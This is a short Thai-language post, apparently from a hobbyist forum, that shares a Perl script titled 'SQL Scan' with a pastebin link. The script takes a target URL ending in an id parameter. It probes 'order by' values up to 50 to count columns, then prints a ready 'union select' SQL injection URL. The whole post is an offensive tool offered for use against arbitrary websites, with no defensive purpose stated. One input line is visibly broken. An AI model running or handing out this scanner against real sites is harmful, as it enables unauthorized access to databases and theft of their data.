[Perl] SQL Scan

ได้เขียน scan dir ไปละ เขียน scan sql ต่อเลยละกัน เอิ๊กๆ


SOURCE CODE : http://pastebin.com/TdbdnUJM

## SQL SCAN##
use LWP::UserAgent;
print "SQL Injection\n[+] Target \"www.xxx.xxx/index?id=\" = ";
chomp($target=);
unless ($target=~/^http:\/\//) {
$target='http://'.$target;
}
$sql="1+order+by+";
print "[+] Scan column in ",$target,"\n";
$agent=LWP::UserAgent->new;
for ($i=1;$i<=50;++$i) {
print "[] Scan : ",$i-1,"\n";
$bug=$target.$sql.$i;
$response=$agent->get($bug);
$content=$response->content;
if ($content=~m/Warning/ig) {
$i-=1;
$bug=$target.$sql.$i;
print "[+] Found : ",$bug,"\n";
$ex=$target."1+and+1=0+union+select+1";
for ($j=2;$j<=$i;++$j) {
$ex=$ex.",".$j;
}
print "[+] Found : ",$ex;
exit;
}
}
print "[-] Not Found";